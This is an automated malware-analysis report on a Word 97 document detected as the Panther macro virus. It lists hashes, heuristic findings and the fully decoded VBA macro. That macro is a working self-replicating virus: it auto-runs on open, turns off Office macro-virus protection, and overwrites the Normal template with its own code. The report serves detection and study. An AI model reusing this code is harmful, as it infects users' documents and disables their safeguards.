Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7196b377fe555b3e…

MALICIOUS

Office (OLE)

44.5 KB Created: 2000-10-31 16:44:00 Authoring application: Microsoft Word 8.0 First seen: 2015-10-04
MD5: 746c13b75edd25551baeaea15a2fb1c0 SHA-1: 4cab83414543bc766754e4ff5736240a64419339 SHA-256: 7196b377fe555b3eb41720160068d5323a61a9f2c9e7cb7a7c91baa2b252584f
188 Risk Score

Heuristics 4

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
            Options.VirusProtection = False
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 45,568 bytes but its declared streams total only 11,850 bytes — 33,718 bytes (74%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1632 bytes
SHA-256: 189686000163bd6f9c964b56ca626659311af960e213c7ebe08c74d9f5b6ed71
Detection
ClamAV: Doc.Trojan.Panther-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    Dim code As String
    If Left$(NormalTemplate.Name, 8) <> "Document" Then
        Options.VirusProtection = False
        With ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
            code = .Lines(1, .CountOfLines)
            ReplaceTemplate code, "Normal", "Template", "Happy", "Panther"
            ReplaceTemplate code, "Active", "Document", "Normal", "Template"
            ReplaceTemplate code, "Happy", "Panther", "Active", "Document"
            With NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
                .DeleteLines 1, .CountOfLines
                .AddFromString code
            End With
        End With
        Options.SaveNormalPrompt = False
        If InStr("NormalTemplate", "Document") > 0 Then
            NormalTemplate.Save
        End If
    End If
End Sub
Private Sub ReplaceTemplate(target As String, prepre As String, prepost As String, postpre As String, postpost As String)
    Dim index As Long, pre As String, post As String, preLen As Long
    
    pre = prepre + prepost
    post = postpre + postpost
    
    index = 1
    preLen = Len(pre)
    
    While InStr(index, target, pre) <> 0
        index = InStr(index, target, pre)
        target = Left(target, index - 1) + post + Mid$(target, index + preLen)
        index = index + 1
    Wend
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.